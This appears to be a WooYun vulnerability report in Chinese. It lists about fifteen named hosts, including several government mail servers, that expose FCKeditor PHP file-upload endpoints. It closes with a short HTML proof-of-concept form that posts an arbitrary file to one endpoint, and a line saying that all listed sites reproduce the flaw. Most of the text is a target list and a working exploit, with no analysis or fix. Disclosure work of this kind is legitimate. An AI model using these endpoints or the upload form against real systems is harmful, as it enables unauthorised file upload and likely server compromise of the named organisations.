WooYun.org

上传页面:http://mail.scihc.net/editor/filemanager/upload/php/upload.php
案例如下:
http://mail.cdzk.org:8888/editor/filemanager/connectors/php/upload.php
http://mail.scihc.net/editor/filemanager/upload/php/upload.php
http://mail.ziyang.gov.cn/editor/filemanager/upload/php/upload.php
http://oa.chinacrt.com/editor/filemanager/connectors/php/upload.php
http://mail.cngy.gov.cn:8888/editor/filemanager/upload/php/upload.php
https://mail.ichengsi.com:4443/editor/filemanager/upload/php/upload.php
http://mail.ccpc.cq.cn/editor/filemanager/connectors/php/upload.php
http://mail.ksitri.com/editor/filemanager/connectors/php/upload.php
http://mail.smjy.net//editor/filemanager/upload/php/upload.php
http://mail.sztour.com.cn//editor/filemanager/connectors/php/upload.php
http://www.100fen.com/editor/filemanager/connectors/php/upload.php
http://gmail.njx.cn/editor/filemanager/connectors/php/upload.php
http://222.208.63.35/editor/filemanager/upload/php/upload.php
http://mail.shenzhougroup.com//editor/filemanager/connectors/php/upload.php
http://newspaper.jinchengbank.com/editor/filemanager/connectors/php/upload.php
POC

<form id="frmUpload" enctype="multipart/form-data"
action="http://mail.scihc.net/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

以上均可复现。